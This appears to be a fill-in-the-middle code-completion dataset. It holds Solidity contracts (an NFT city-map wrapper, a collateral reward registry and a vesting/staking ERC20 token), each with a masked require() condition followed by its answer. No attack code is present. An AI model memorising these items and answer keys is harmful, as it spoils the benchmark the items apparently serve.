uint capitol, uint numCities, uint numUnits, uint lastTimestamp);
function numCities() external view returns (uint numCities);
function getCity(uint cityID) external view returns (uint owner, string memory cityName, bool[5] memory buildings,
uint[10] memory units, uint[2] memory rowcol, int previousID, int nextID);
function map(uint row, uint col) external view returns (uint playerID);
function setOwner(uint cityID, uint owner) external;
function setName(uint cityID, string calldata name) external;
function setUnit(uint cityID, uint i, uint unitType) external;
function setPreviousID(uint cityID, int previousID) external;
function setNextID(uint cityID, int nextID) external;
function setRowcol(uint cityID, uint[2] calldata rowcol) external;
function setMap(uint row, uint col, uint ind) external;
function setBuilding(uint cityID, uint buildingType) external;
function pushCity() external;
function setNumCities(uint nc) external;
}
contract Wrapper is ERC721Enumerable, Ownable {
//0.88 eth
uint256 public mintAmount = 880000000000000000;
address payable public vault1 = payable(0x32792cC3aeb2e796202Ad830C5184feD849d76dA);
address payable public vault2 = payable(0x04329C5aE62fe7A4B1e5ee8fD5B99E861934f105);
address payable public vault3 = payable(0xd73F16f12117a08492097C0C1cD0f10Cf0bBc1e4);
address payable public vault4 = payable(0x364762CA0e5922Aa64c102EB8F0602ffA9123a0D);
//list of frontend (ideally ipfs or other decentral storage) URIs
string[] fe;
Ethz public base;
address public baseAddress = address(0xb40d0312BaC389AE0a05053020Aac80c9237358B);
Cities public cities;
address public citiesAddress = address(0xcbA79e9e16Ae2C5DFdBCE9ed169a06057B3BD2A1);
//tokenIds on the map
uint16[34][34] public nfts;
//cityIds+1 from base contract on the map
uint16[34][34] public map;
//tokenId to row, col
mapping(uint => uint[2]) public position;
mapping(uint16 => uint16) public tokenIdToCityId;
//tokenId to city buildings
mapping(uint16 => bool[5]) public idToBuildings;
//tokens per quadrant, for north-west quadrant less are available (289-49=240) as 49 (numCitiesOriginal) already exist
uint16 tokensPerQuadrant = 289;
//number of cities already existing in the base contract.
//WARNING !!! IF CHANGED change initCounters method
uint16 numCitiesOriginal = 49;
//tokenId counters for civ types (1st dimension), building types (2nd dimension)
uint16[4][4] public counters;
//tokenId counter limits for civ types (1st dimension), building types (2nd dimension)
uint16[4][4] counterLimits;
//mapping of 0,1,2,3 (farm, stables, woodworks, metalworks) to original base contract codes
uint16[] buildingTypes = [1, 4, 2, 3];
/*uint16 public jG;
uint16 public uG;
uint16 public offsetG;*/
constructor() ERC721("Wrapped Etherization", "WETHZ") {
}
function sweep() public {
}
//helper method for users to decode the city owner uint in base contract back to the address
function uint160ToAddress(uint160 x) public pure returns (address) {
}
function _baseURI() internal pure override returns (string memory) {
}
function contractURI() public pure returns (string memory) {
}
function getFrontend(uint version) public view returns (string memory) {
}
function getFrontendListLength() public view returns (uint) {
}
function addFrontend(string calldata uri) public onlyOwner {
}
function getMap() public view returns (uint16[34][34] memory) {
}
function getNfts() public view returns (uint16[34][34] memory) {
}
//if start method was used in the base contract, allow map update in the wrapper
function setMap(uint16 cityId) public onlyOwner {
}
function wrap(uint16 cityId) public {
}
//for cities built using base contract start method but not in the historic set
function wrapNew(uint16 cityId) public {
}
function mint(uint row, uint col)
public payable returns (uint256)
{
//token id
uint16 id;
uint cityId;
//counter row (civ type)
uint16 i;
//offset that indexes token counter's 2nd dimension (building type)
uint16 offset;
require(msg.value == mintAmount);
//require that the tile is empty
require(nfts[row][col] == 0 && map[row][col] == 0);
require(base.map(row, col) == 0);
i = _quadrantFromRowCol(row, col);
offset = _randomOffset(i);
id = counters[i][offset];
counters[i][offset]++;
cityId = base.numCities();
base.pushCity();
base.setOwner(cityId, uint256(uint160(msg.sender)));
base.setName(cityId, string(abi.encodePacked(cities.cityNames(id))));
base.setUnit(cityId, 0, 1);
base.setRowcol(cityId, [row,col]);
base.setPreviousID(cityId, -1);
base.setNextID(cityId, -1);
base.setMap(row, col, cityId+1);
base.setBuilding(cityId, buildingTypes[offset]);
base.setNumCities(cityId+1);
//check that writing to the base contract was successful
require(<FILL_ME>)
idToBuildings[id] = [false, false, false, false, false];
idToBuildings[id][offset] = true;
tokenIdToCityId[id] = uint16(cityId);
position[id] = [row, col];
nfts[row][col] = id;
map[row][col] = uint16(cityId+1);
_mint(msg.sender, id);
return id;
}
function _quadrantFromRowCol(uint row, uint col) internal pure returns (uint16) {
}
//i = counter row (quadrant, ie civ type)
function _randomOffset(uint16 i) internal view returns (uint16) {
}
function _initMap() internal {
}
function _initIdToBuildings() internal {
}
//initialize the tokenId counters based on building rarity %
function _initCounters() internal {
}
function _transfer(
address from,
address to,
uint256 tokenId
) internal override {
}
}
| base.numCities()>cityId | 341,487 | base.numCities()>cityId |
"RewardRegistry: not enought token collateral for order + fees" | pragma solidity ^0.6.8;
contract RewardRegistry is Ownable, ERC721 {
event BaseURIChange(string baseURI);
event FeesCollectorChange(address indexed collector);
event ItemCreated(
address indexed from,
uint256 indexed tokenId,
address indexed collateralRegistry,
uint256 collateralAmount,
uint256 releaseTime
);
event ItemRedeemed(
address indexed from,
uint256 indexed tokenId,
address indexed collateralRegistry,
uint256 collateralAmount
);
using SafeERC20 for IERC20;
struct RewardInfo {
uint256 tokenAmount;
uint256 releaseTime;
address tokenRegistry;
bytes32 metaDataHash;
}
mapping (uint256 => RewardInfo) public rewardsMap;
/// Creation fee in a 0 - 1000 basis
uint256 public creationFee = 25; // 2,5%
uint256 public constant FEES_PRECISION = 1000;
address public feesCollector;
constructor (address _feesCollector, string memory _baseUri)
public Ownable() ERC721("Unstoppable redeemables", "REDEEM")
{
}
/**
* @dev Sets the base URI for the registry metadata
* @param _baseUri Address for the fees collector
*/
function setBaseURI(string memory _baseUri) public onlyOwner {
}
/**
* @dev Sets the fees collecto
* @param _collector Address for the fees collector
*/
function setFeesCollector(address _collector) public onlyOwner {
}
/**
* Creates a NFT backed up by some ERC20 collateral
* @param _amount collateral ERC20 amount
* @param _registry ERC20 registry address
* @param _redeemableFrom timestamp in the future
* @param _metaDataURI for the new token
* @param _metaData metadata JSONified string
*/
function create(
uint256 _amount,
address _registry,
uint256 _redeemableFrom,
string calldata _metaDataURI,
string calldata _metaData
)
external payable
{
}
function _collectEth(uint256 _amount, uint256 _creationFeeAmount) private {
}
function _collectToken(
uint256 _amount,
address _registry,
uint256 _creationFeeAmount
)
private
{
require(<FILL_ME>)
// Transfer Collateral to this contract
IERC20(_registry).safeTransferFrom(
msg.sender, address(this), _amount
);
// Transfer fees to collector
IERC20(_registry).safeTransferFrom(
msg.sender, feesCollector, _creationFeeAmount
);
}
function getMetaDataHash(string memory _metaData) public pure returns (bytes32) {
}
/**
* Redeems a created NFT, releasing the ERC20 collateral to the msg.sender
* @param _tokenId to redeem
*/
function redeem(uint256 _tokenId) public {
}
}
| IERC20(_registry).balanceOf(msg.sender)>=_amount.add(_creationFeeAmount),"RewardRegistry: not enought token collateral for order + fees" | 341,571 | IERC20(_registry).balanceOf(msg.sender)>=_amount.add(_creationFeeAmount) |
null | pragma solidity 0.5.8;
contract Uplink is ERC20Detailed {
using SafeMath for uint256;
mapping(address => uint256) private _balances;
mapping(address => mapping(address => uint256)) private _allowed;
string constant tokenName = "Uplink";
string constant tokenSymbol = "ULINK";
uint8 constant tokenDecimals = 18;
uint256 _totalSupply = 100000 * 18;
// ------------------------------------------------------------------------
address public contractOwner;
uint256 public fullUnitsVested_total = 0;
mapping(address => bool) public isVesting;
uint256 _totalVestRewardsPerUnit = 0;
mapping(address => uint256) private _totalVestRewardsPerUnit_positions;
mapping(address => uint256) private _savedVestRewards;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
// ------------------------------------------------------------------------
bool public migrationActive = true;
//these addresses won't be affected by burn,ie liquidity pools
mapping(address => bool) public whitelist;
event Whitelisted(address _addr, bool _whitelisted);
// ------------------------------------------------------------------------
constructor() public ERC20Detailed(tokenName, tokenSymbol, tokenDecimals)
{
}
// ------------------------------------------------------------------------
modifier onlyOwner() {
}
function transferOwnership(address newOwner) public {
}
function totalSupply() public view returns (uint256) {
}
function balanceOf(address owner) public view returns (uint256) {
}
function fullUnitsVested(address owner) external view returns (uint256) {
}
function toFullUnits(uint256 valueWithDecimals) public pure returns (uint256) {
}
function allowance(address owner, address spender) public view returns (uint256) {
}
function transfer(address to, uint256 value) public returns (bool) {
}
function transferAndCall(address to, uint value, bytes memory data) public returns (bool) {
require(transfer(to, value));
require(<FILL_ME>)
return true;
}
function multiTransfer(address[] memory receivers, uint256[] memory values) public {
}
function transferFrom(address from, address to, uint256 value) public returns (bool) {
}
function transferFromAndCall(address from, address to, uint value, bytes memory data) public returns (bool) {
}
function approve(address spender, uint256 value) public returns (bool) {
}
function approveAndCall(address spender, uint tokens, bytes memory data) public returns (bool success) {
}
function increaseAllowance(address spender, uint256 addedValue) public returns (bool) {
}
function decreaseAllowance(address spender, uint256 subtractedValue) public returns (bool)
{
}
function _mint(address account, uint256 value) internal
{
}
function burn(uint256 value) external
{
}
function burnFrom(address account, uint256 value) external
{
}
function _burn(address account, uint256 value) internal
{
}
/*
* transfer with additional burn and vest rewards
* the receiver gets 96% of the sent value
* 4% are split to be burnt and distributed to holders
*/
function _executeTransfer(address from, address to, uint256 value) private
{
}
//catch up with the current total rewards. This needs to be done before an addresses balance is changed
function updateVestRewardsFor(address vester) private
{
}
//get all rewards that have not been claimed yet
function viewUnpaidVestRewards(address vester) public view returns (uint256)
{
}
//pay out unclaimed vest rewards
function payoutVestRewards() public
{
}
function enableVesting() public {
}
function disableVesting() public {
}
function enableVestingFor(address vester) public onlyOwner {
}
function disableVestingFor(address vester) public onlyOwner {
}
//enable vesting for target address
function _enableVesting(address vester) private {
}
//disable vesting for target address
function _disableVesting(address vester) private {
}
//no fees if receiver is whitelisted
function setWhitelist(address _addr, bool _whitelisted) external onlyOwner {
}
//migrate a list of balances
function multiMigrateBalance(address[] memory receivers, uint256[] memory values) public {
}
//mint balance to a give address, only works as long as migrationmode is active
function migrateBalance(address account, uint256 amount) public onlyOwner {
}
//this will stop migration mode permanently
function endMigration() public onlyOwner {
}
// begin staking section
address public owner;
struct stakeTracker {
uint256 lastBlockChecked;
uint256 rewards;
uint256 linkStaked;
}
uint256 private rewardsVar;
address private linkAddress;
using SafeMath for uint256;
using SafeERC20 for IERC20;
IERC20 private linkToken;
uint256 private _totalLinkStaked;
mapping(address => stakeTracker) private _stakedBalances;
mapping(address => bool) blackListed;
event Staked(address indexed user, uint256 amount, uint256 totalLinkStaked);
event Withdrawn(address indexed user, uint256 amount);
event Rewards(address indexed user, uint256 reward);
modifier updateStakingReward(address account) {
}
/* in case someone mistakenly sent ERC20 tokens to the contract.
*/
function withdrawERC20Tokens(address tokenAddress, uint256 amount) public onlyOwner
{
}
function setLinkAddress(address _linkAddress) public onlyOwner returns (uint256) {
}
function updatingStakingReward(address account) public returns (uint256) {
}
function getBlockNum() public view returns (uint256) {
}
function getLastBlockCheckedNum(address _account) public view returns (uint256) {
}
function getAddressStakeAmount(address _account) public view returns (uint256) {
}
function setRewardsVar(uint256 _amount) public onlyOwner {
}
function totalStakedSupply() public view returns (uint256) {
}
function myRewardsBalance(address account) public view returns (uint256) {
}
function stake(uint256 amount) public updateStakingReward(msg.sender) {
}
function withdraw(uint256 amount) public updateStakingReward(msg.sender) {
}
function _getReward(address receiver) private {
}
function getReward() public updateStakingReward(msg.sender) {
}
// Will prevent exchanges from staking;
function blackListAddress(address addr, bool blackList) external onlyOwner {
}
function isBlackListed(address addr) public view returns (bool) {
}
}
| TransferAndCallFallBack(to).receiveToken(msg.sender,value,address(this),data) | 341,591 | TransferAndCallFallBack(to).receiveToken(msg.sender,value,address(this),data) |
null | pragma solidity 0.5.8;
contract Uplink is ERC20Detailed {
using SafeMath for uint256;
mapping(address => uint256) private _balances;
mapping(address => mapping(address => uint256)) private _allowed;
string constant tokenName = "Uplink";
string constant tokenSymbol = "ULINK";
uint8 constant tokenDecimals = 18;
uint256 _totalSupply = 100000 * 18;
// ------------------------------------------------------------------------
address public contractOwner;
uint256 public fullUnitsVested_total = 0;
mapping(address => bool) public isVesting;
uint256 _totalVestRewardsPerUnit = 0;
mapping(address => uint256) private _totalVestRewardsPerUnit_positions;
mapping(address => uint256) private _savedVestRewards;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
// ------------------------------------------------------------------------
bool public migrationActive = true;
//these addresses won't be affected by burn,ie liquidity pools
mapping(address => bool) public whitelist;
event Whitelisted(address _addr, bool _whitelisted);
// ------------------------------------------------------------------------
constructor() public ERC20Detailed(tokenName, tokenSymbol, tokenDecimals)
{
}
// ------------------------------------------------------------------------
modifier onlyOwner() {
}
function transferOwnership(address newOwner) public {
}
function totalSupply() public view returns (uint256) {
}
function balanceOf(address owner) public view returns (uint256) {
}
function fullUnitsVested(address owner) external view returns (uint256) {
}
function toFullUnits(uint256 valueWithDecimals) public pure returns (uint256) {
}
function allowance(address owner, address spender) public view returns (uint256) {
}
function transfer(address to, uint256 value) public returns (bool) {
}
function transferAndCall(address to, uint value, bytes memory data) public returns (bool) {
}
function multiTransfer(address[] memory receivers, uint256[] memory values) public {
}
function transferFrom(address from, address to, uint256 value) public returns (bool) {
}
function transferFromAndCall(address from, address to, uint value, bytes memory data) public returns (bool) {
require(transferFrom(from, to, value));
require(<FILL_ME>)
return true;
}
function approve(address spender, uint256 value) public returns (bool) {
}
function approveAndCall(address spender, uint tokens, bytes memory data) public returns (bool success) {
}
function increaseAllowance(address spender, uint256 addedValue) public returns (bool) {
}
function decreaseAllowance(address spender, uint256 subtractedValue) public returns (bool)
{
}
function _mint(address account, uint256 value) internal
{
}
function burn(uint256 value) external
{
}
function burnFrom(address account, uint256 value) external
{
}
function _burn(address account, uint256 value) internal
{
}
/*
* transfer with additional burn and vest rewards
* the receiver gets 96% of the sent value
* 4% are split to be burnt and distributed to holders
*/
function _executeTransfer(address from, address to, uint256 value) private
{
}
//catch up with the current total rewards. This needs to be done before an addresses balance is changed
function updateVestRewardsFor(address vester) private
{
}
//get all rewards that have not been claimed yet
function viewUnpaidVestRewards(address vester) public view returns (uint256)
{
}
//pay out unclaimed vest rewards
function payoutVestRewards() public
{
}
function enableVesting() public {
}
function disableVesting() public {
}
function enableVestingFor(address vester) public onlyOwner {
}
function disableVestingFor(address vester) public onlyOwner {
}
//enable vesting for target address
function _enableVesting(address vester) private {
}
//disable vesting for target address
function _disableVesting(address vester) private {
}
//no fees if receiver is whitelisted
function setWhitelist(address _addr, bool _whitelisted) external onlyOwner {
}
//migrate a list of balances
function multiMigrateBalance(address[] memory receivers, uint256[] memory values) public {
}
//mint balance to a give address, only works as long as migrationmode is active
function migrateBalance(address account, uint256 amount) public onlyOwner {
}
//this will stop migration mode permanently
function endMigration() public onlyOwner {
}
// begin staking section
address public owner;
struct stakeTracker {
uint256 lastBlockChecked;
uint256 rewards;
uint256 linkStaked;
}
uint256 private rewardsVar;
address private linkAddress;
using SafeMath for uint256;
using SafeERC20 for IERC20;
IERC20 private linkToken;
uint256 private _totalLinkStaked;
mapping(address => stakeTracker) private _stakedBalances;
mapping(address => bool) blackListed;
event Staked(address indexed user, uint256 amount, uint256 totalLinkStaked);
event Withdrawn(address indexed user, uint256 amount);
event Rewards(address indexed user, uint256 reward);
modifier updateStakingReward(address account) {
}
/* in case someone mistakenly sent ERC20 tokens to the contract.
*/
function withdrawERC20Tokens(address tokenAddress, uint256 amount) public onlyOwner
{
}
function setLinkAddress(address _linkAddress) public onlyOwner returns (uint256) {
}
function updatingStakingReward(address account) public returns (uint256) {
}
function getBlockNum() public view returns (uint256) {
}
function getLastBlockCheckedNum(address _account) public view returns (uint256) {
}
function getAddressStakeAmount(address _account) public view returns (uint256) {
}
function setRewardsVar(uint256 _amount) public onlyOwner {
}
function totalStakedSupply() public view returns (uint256) {
}
function myRewardsBalance(address account) public view returns (uint256) {
}
function stake(uint256 amount) public updateStakingReward(msg.sender) {
}
function withdraw(uint256 amount) public updateStakingReward(msg.sender) {
}
function _getReward(address receiver) private {
}
function getReward() public updateStakingReward(msg.sender) {
}
// Will prevent exchanges from staking;
function blackListAddress(address addr, bool blackList) external onlyOwner {
}
function isBlackListed(address addr) public view returns (bool) {
}
}
| TransferAndCallFallBack(to).receiveToken(from,value,address(this),data) | 341,591 | TransferAndCallFallBack(to).receiveToken(from,value,address(this),data) |
null | pragma solidity 0.5.8;
contract Uplink is ERC20Detailed {
using SafeMath for uint256;
mapping(address => uint256) private _balances;
mapping(address => mapping(address => uint256)) private _allowed;
string constant tokenName = "Uplink";
string constant tokenSymbol = "ULINK";
uint8 constant tokenDecimals = 18;
uint256 _totalSupply = 100000 * 18;
// ------------------------------------------------------------------------
address public contractOwner;
uint256 public fullUnitsVested_total = 0;
mapping(address => bool) public isVesting;
uint256 _totalVestRewardsPerUnit = 0;
mapping(address => uint256) private _totalVestRewardsPerUnit_positions;
mapping(address => uint256) private _savedVestRewards;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
// ------------------------------------------------------------------------
bool public migrationActive = true;
//these addresses won't be affected by burn,ie liquidity pools
mapping(address => bool) public whitelist;
event Whitelisted(address _addr, bool _whitelisted);
// ------------------------------------------------------------------------
constructor() public ERC20Detailed(tokenName, tokenSymbol, tokenDecimals)
{
}
// ------------------------------------------------------------------------
modifier onlyOwner() {
}
function transferOwnership(address newOwner) public {
}
function totalSupply() public view returns (uint256) {
}
function balanceOf(address owner) public view returns (uint256) {
}
function fullUnitsVested(address owner) external view returns (uint256) {
}
function toFullUnits(uint256 valueWithDecimals) public pure returns (uint256) {
}
function allowance(address owner, address spender) public view returns (uint256) {
}
function transfer(address to, uint256 value) public returns (bool) {
}
function transferAndCall(address to, uint value, bytes memory data) public returns (bool) {
}
function multiTransfer(address[] memory receivers, uint256[] memory values) public {
}
function transferFrom(address from, address to, uint256 value) public returns (bool) {
}
function transferFromAndCall(address from, address to, uint value, bytes memory data) public returns (bool) {
}
function approve(address spender, uint256 value) public returns (bool) {
}
function approveAndCall(address spender, uint tokens, bytes memory data) public returns (bool success) {
require(<FILL_ME>)
require(ApproveAndCallFallBack(spender).receiveApproval(msg.sender, tokens, address(this), data));
return true;
}
function increaseAllowance(address spender, uint256 addedValue) public returns (bool) {
}
function decreaseAllowance(address spender, uint256 subtractedValue) public returns (bool)
{
}
function _mint(address account, uint256 value) internal
{
}
function burn(uint256 value) external
{
}
function burnFrom(address account, uint256 value) external
{
}
function _burn(address account, uint256 value) internal
{
}
/*
* transfer with additional burn and vest rewards
* the receiver gets 96% of the sent value
* 4% are split to be burnt and distributed to holders
*/
function _executeTransfer(address from, address to, uint256 value) private
{
}
//catch up with the current total rewards. This needs to be done before an addresses balance is changed
function updateVestRewardsFor(address vester) private
{
}
//get all rewards that have not been claimed yet
function viewUnpaidVestRewards(address vester) public view returns (uint256)
{
}
//pay out unclaimed vest rewards
function payoutVestRewards() public
{
}
function enableVesting() public {
}
function disableVesting() public {
}
function enableVestingFor(address vester) public onlyOwner {
}
function disableVestingFor(address vester) public onlyOwner {
}
//enable vesting for target address
function _enableVesting(address vester) private {
}
//disable vesting for target address
function _disableVesting(address vester) private {
}
//no fees if receiver is whitelisted
function setWhitelist(address _addr, bool _whitelisted) external onlyOwner {
}
//migrate a list of balances
function multiMigrateBalance(address[] memory receivers, uint256[] memory values) public {
}
//mint balance to a give address, only works as long as migrationmode is active
function migrateBalance(address account, uint256 amount) public onlyOwner {
}
//this will stop migration mode permanently
function endMigration() public onlyOwner {
}
// begin staking section
address public owner;
struct stakeTracker {
uint256 lastBlockChecked;
uint256 rewards;
uint256 linkStaked;
}
uint256 private rewardsVar;
address private linkAddress;
using SafeMath for uint256;
using SafeERC20 for IERC20;
IERC20 private linkToken;
uint256 private _totalLinkStaked;
mapping(address => stakeTracker) private _stakedBalances;
mapping(address => bool) blackListed;
event Staked(address indexed user, uint256 amount, uint256 totalLinkStaked);
event Withdrawn(address indexed user, uint256 amount);
event Rewards(address indexed user, uint256 reward);
modifier updateStakingReward(address account) {
}
/* in case someone mistakenly sent ERC20 tokens to the contract.
*/
function withdrawERC20Tokens(address tokenAddress, uint256 amount) public onlyOwner
{
}
function setLinkAddress(address _linkAddress) public onlyOwner returns (uint256) {
}
function updatingStakingReward(address account) public returns (uint256) {
}
function getBlockNum() public view returns (uint256) {
}
function getLastBlockCheckedNum(address _account) public view returns (uint256) {
}
function getAddressStakeAmount(address _account) public view returns (uint256) {
}
function setRewardsVar(uint256 _amount) public onlyOwner {
}
function totalStakedSupply() public view returns (uint256) {
}
function myRewardsBalance(address account) public view returns (uint256) {
}
function stake(uint256 amount) public updateStakingReward(msg.sender) {
}
function withdraw(uint256 amount) public updateStakingReward(msg.sender) {
}
function _getReward(address receiver) private {
}
function getReward() public updateStakingReward(msg.sender) {
}
// Will prevent exchanges from staking;
function blackListAddress(address addr, bool blackList) external onlyOwner {
}
function isBlackListed(address addr) public view returns (bool) {
}
}
| approve(spender,tokens) | 341,591 | approve(spender,tokens) |
null | pragma solidity 0.5.8;
contract Uplink is ERC20Detailed {
using SafeMath for uint256;
mapping(address => uint256) private _balances;
mapping(address => mapping(address => uint256)) private _allowed;
string constant tokenName = "Uplink";
string constant tokenSymbol = "ULINK";
uint8 constant tokenDecimals = 18;
uint256 _totalSupply = 100000 * 18;
// ------------------------------------------------------------------------
address public contractOwner;
uint256 public fullUnitsVested_total = 0;
mapping(address => bool) public isVesting;
uint256 _totalVestRewardsPerUnit = 0;
mapping(address => uint256) private _totalVestRewardsPerUnit_positions;
mapping(address => uint256) private _savedVestRewards;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
// ------------------------------------------------------------------------
bool public migrationActive = true;
//these addresses won't be affected by burn,ie liquidity pools
mapping(address => bool) public whitelist;
event Whitelisted(address _addr, bool _whitelisted);
// ------------------------------------------------------------------------
constructor() public ERC20Detailed(tokenName, tokenSymbol, tokenDecimals)
{
}
// ------------------------------------------------------------------------
modifier onlyOwner() {
}
function transferOwnership(address newOwner) public {
}
function totalSupply() public view returns (uint256) {
}
function balanceOf(address owner) public view returns (uint256) {
}
function fullUnitsVested(address owner) external view returns (uint256) {
}
function toFullUnits(uint256 valueWithDecimals) public pure returns (uint256) {
}
function allowance(address owner, address spender) public view returns (uint256) {
}
function transfer(address to, uint256 value) public returns (bool) {
}
function transferAndCall(address to, uint value, bytes memory data) public returns (bool) {
}
function multiTransfer(address[] memory receivers, uint256[] memory values) public {
}
function transferFrom(address from, address to, uint256 value) public returns (bool) {
}
function transferFromAndCall(address from, address to, uint value, bytes memory data) public returns (bool) {
}
function approve(address spender, uint256 value) public returns (bool) {
}
function approveAndCall(address spender, uint tokens, bytes memory data) public returns (bool success) {
require(approve(spender, tokens));
require(<FILL_ME>)
return true;
}
function increaseAllowance(address spender, uint256 addedValue) public returns (bool) {
}
function decreaseAllowance(address spender, uint256 subtractedValue) public returns (bool)
{
}
function _mint(address account, uint256 value) internal
{
}
function burn(uint256 value) external
{
}
function burnFrom(address account, uint256 value) external
{
}
function _burn(address account, uint256 value) internal
{
}
/*
* transfer with additional burn and vest rewards
* the receiver gets 96% of the sent value
* 4% are split to be burnt and distributed to holders
*/
function _executeTransfer(address from, address to, uint256 value) private
{
}
//catch up with the current total rewards. This needs to be done before an addresses balance is changed
function updateVestRewardsFor(address vester) private
{
}
//get all rewards that have not been claimed yet
function viewUnpaidVestRewards(address vester) public view returns (uint256)
{
}
//pay out unclaimed vest rewards
function payoutVestRewards() public
{
}
function enableVesting() public {
}
function disableVesting() public {
}
function enableVestingFor(address vester) public onlyOwner {
}
function disableVestingFor(address vester) public onlyOwner {
}
//enable vesting for target address
function _enableVesting(address vester) private {
}
//disable vesting for target address
function _disableVesting(address vester) private {
}
//no fees if receiver is whitelisted
function setWhitelist(address _addr, bool _whitelisted) external onlyOwner {
}
//migrate a list of balances
function multiMigrateBalance(address[] memory receivers, uint256[] memory values) public {
}
//mint balance to a give address, only works as long as migrationmode is active
function migrateBalance(address account, uint256 amount) public onlyOwner {
}
//this will stop migration mode permanently
function endMigration() public onlyOwner {
}
// begin staking section
address public owner;
struct stakeTracker {
uint256 lastBlockChecked;
uint256 rewards;
uint256 linkStaked;
}
uint256 private rewardsVar;
address private linkAddress;
using SafeMath for uint256;
using SafeERC20 for IERC20;
IERC20 private linkToken;
uint256 private _totalLinkStaked;
mapping(address => stakeTracker) private _stakedBalances;
mapping(address => bool) blackListed;
event Staked(address indexed user, uint256 amount, uint256 totalLinkStaked);
event Withdrawn(address indexed user, uint256 amount);
event Rewards(address indexed user, uint256 reward);
modifier updateStakingReward(address account) {
}
/* in case someone mistakenly sent ERC20 tokens to the contract.
*/
function withdrawERC20Tokens(address tokenAddress, uint256 amount) public onlyOwner
{
}
function setLinkAddress(address _linkAddress) public onlyOwner returns (uint256) {
}
function updatingStakingReward(address account) public returns (uint256) {
}
function getBlockNum() public view returns (uint256) {
}
function getLastBlockCheckedNum(address _account) public view returns (uint256) {
}
function getAddressStakeAmount(address _account) public view returns (uint256) {
}
function setRewardsVar(uint256 _amount) public onlyOwner {
}
function totalStakedSupply() public view returns (uint256) {
}
function myRewardsBalance(address account) public view returns (uint256) {
}
function stake(uint256 amount) public updateStakingReward(msg.sender) {
}
function withdraw(uint256 amount) public updateStakingReward(msg.sender) {
}
function _getReward(address receiver) private {
}
function getReward() public updateStakingReward(msg.sender) {
}
// Will prevent exchanges from staking;
function blackListAddress(address addr, bool blackList) external onlyOwner {
}
function isBlackListed(address addr) public view returns (bool) {
}
}
| ApproveAndCallFallBack(spender).receiveApproval(msg.sender,tokens,address(this),data) | 341,591 | ApproveAndCallFallBack(spender).receiveApproval(msg.sender,tokens,address(this),data) |
null | pragma solidity 0.5.8;
contract Uplink is ERC20Detailed {
using SafeMath for uint256;
mapping(address => uint256) private _balances;
mapping(address => mapping(address => uint256)) private _allowed;
string constant tokenName = "Uplink";
string constant tokenSymbol = "ULINK";
uint8 constant tokenDecimals = 18;
uint256 _totalSupply = 100000 * 18;
// ------------------------------------------------------------------------
address public contractOwner;
uint256 public fullUnitsVested_total = 0;
mapping(address => bool) public isVesting;
uint256 _totalVestRewardsPerUnit = 0;
mapping(address => uint256) private _totalVestRewardsPerUnit_positions;
mapping(address => uint256) private _savedVestRewards;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
// ------------------------------------------------------------------------
bool public migrationActive = true;
//these addresses won't be affected by burn,ie liquidity pools
mapping(address => bool) public whitelist;
event Whitelisted(address _addr, bool _whitelisted);
// ------------------------------------------------------------------------
constructor() public ERC20Detailed(tokenName, tokenSymbol, tokenDecimals)
{
}
// ------------------------------------------------------------------------
modifier onlyOwner() {
}
function transferOwnership(address newOwner) public {
}
function totalSupply() public view returns (uint256) {
}
function balanceOf(address owner) public view returns (uint256) {
}
function fullUnitsVested(address owner) external view returns (uint256) {
}
function toFullUnits(uint256 valueWithDecimals) public pure returns (uint256) {
}
function allowance(address owner, address spender) public view returns (uint256) {
}
function transfer(address to, uint256 value) public returns (bool) {
}
function transferAndCall(address to, uint value, bytes memory data) public returns (bool) {
}
function multiTransfer(address[] memory receivers, uint256[] memory values) public {
}
function transferFrom(address from, address to, uint256 value) public returns (bool) {
}
function transferFromAndCall(address from, address to, uint value, bytes memory data) public returns (bool) {
}
function approve(address spender, uint256 value) public returns (bool) {
}
function approveAndCall(address spender, uint tokens, bytes memory data) public returns (bool success) {
}
function increaseAllowance(address spender, uint256 addedValue) public returns (bool) {
}
function decreaseAllowance(address spender, uint256 subtractedValue) public returns (bool)
{
}
function _mint(address account, uint256 value) internal
{
}
function burn(uint256 value) external
{
}
function burnFrom(address account, uint256 value) external
{
}
function _burn(address account, uint256 value) internal
{
}
/*
* transfer with additional burn and vest rewards
* the receiver gets 96% of the sent value
* 4% are split to be burnt and distributed to holders
*/
function _executeTransfer(address from, address to, uint256 value) private
{
}
//catch up with the current total rewards. This needs to be done before an addresses balance is changed
function updateVestRewardsFor(address vester) private
{
}
//get all rewards that have not been claimed yet
function viewUnpaidVestRewards(address vester) public view returns (uint256)
{
}
//pay out unclaimed vest rewards
function payoutVestRewards() public
{
}
function enableVesting() public {
}
function disableVesting() public {
}
function enableVestingFor(address vester) public onlyOwner {
}
function disableVestingFor(address vester) public onlyOwner {
}
//enable vesting for target address
function _enableVesting(address vester) private {
require(<FILL_ME>)
updateVestRewardsFor(vester);
isVesting[vester] = true;
fullUnitsVested_total = fullUnitsVested_total.add(toFullUnits(_balances[vester]));
}
//disable vesting for target address
function _disableVesting(address vester) private {
}
//no fees if receiver is whitelisted
function setWhitelist(address _addr, bool _whitelisted) external onlyOwner {
}
//migrate a list of balances
function multiMigrateBalance(address[] memory receivers, uint256[] memory values) public {
}
//mint balance to a give address, only works as long as migrationmode is active
function migrateBalance(address account, uint256 amount) public onlyOwner {
}
//this will stop migration mode permanently
function endMigration() public onlyOwner {
}
// begin staking section
address public owner;
struct stakeTracker {
uint256 lastBlockChecked;
uint256 rewards;
uint256 linkStaked;
}
uint256 private rewardsVar;
address private linkAddress;
using SafeMath for uint256;
using SafeERC20 for IERC20;
IERC20 private linkToken;
uint256 private _totalLinkStaked;
mapping(address => stakeTracker) private _stakedBalances;
mapping(address => bool) blackListed;
event Staked(address indexed user, uint256 amount, uint256 totalLinkStaked);
event Withdrawn(address indexed user, uint256 amount);
event Rewards(address indexed user, uint256 reward);
modifier updateStakingReward(address account) {
}
/* in case someone mistakenly sent ERC20 tokens to the contract.
*/
function withdrawERC20Tokens(address tokenAddress, uint256 amount) public onlyOwner
{
}
function setLinkAddress(address _linkAddress) public onlyOwner returns (uint256) {
}
function updatingStakingReward(address account) public returns (uint256) {
}
function getBlockNum() public view returns (uint256) {
}
function getLastBlockCheckedNum(address _account) public view returns (uint256) {
}
function getAddressStakeAmount(address _account) public view returns (uint256) {
}
function setRewardsVar(uint256 _amount) public onlyOwner {
}
